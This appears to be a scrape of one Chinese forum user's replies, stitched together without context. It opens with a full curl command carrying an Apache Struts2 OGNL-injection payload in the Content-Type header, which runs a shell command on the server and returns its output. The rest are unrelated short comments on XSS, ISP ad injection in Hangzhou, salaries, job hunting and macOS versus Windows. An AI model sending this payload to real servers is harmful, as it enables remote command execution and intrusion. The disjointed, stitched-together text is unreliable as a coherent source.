curl -H "Content-Type:%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" "url"‘
所以你告诉我 gui 有何用

xss （跨站脚本执行）是服务端漏洞（ dom xss 略微有些不同），你也可以理解成 js 注入，你的输入导致服务端返回的 js 注入了你的 js 代码 所以先谷歌一下还是比较好的

@woyaojizhu8 手机联通用户，之前有向工信部反馈过 但是几个月后又开始了。现象是一些和 qq 相关的非 https 的域名被插入广告 js （大概是 16 年 7 月反馈， 11 月又开始了）

杭州联通，一直有劫持，反馈过工信部，微博 @过 一段时间内不劫持了 过了几个月 又开始了 维权的话感觉得收集证据打官司

@zhouyg 我和小伙伴们吐槽了很多这个排版问题，后来觉得不要打击别人的积极性还是没说。#对我来说这个居中简直治好了我多年的颈椎病

一直 4 月中旬发的路过 哈哈

次数多了 烦的话我一般就直接删好友了。。我觉得你态度挺好的

简历已发 希望有个愉快的面试经历

杭州这边有些招聘前端的 确实对工作经验卡的比较死，我也觉得好多要求简直是无理取闹。基友也一样在找工作 同烦恼中。个人觉得很多招聘确实有问题（年限要求和薪资完全不协调） 默默的支持一发妹子的观点

我还好。。个人感觉 9k 在杭州一个人还挺够用的。想了一下比入职时候薪资还涨了百分之 50 呢。

一年半 没跳槽 9k 估计在 v2 垫底

虽然你说 macos 各种不好我也认，但是 win10 特么更难用啊。。。 win10 的 BootCamp 只用来 lol 。。。。

个人喜欢触发角 左下角 锁屏

@quericy 反正我知道 你肯定只能一个人去看的

安全工程师已投。。希望能有一次愉快的面试经历。。

都显示没有预约时间。。。。不知道得多久才能预约

两年不到的安全萌新望饼兴叹。自己还是太菜了呀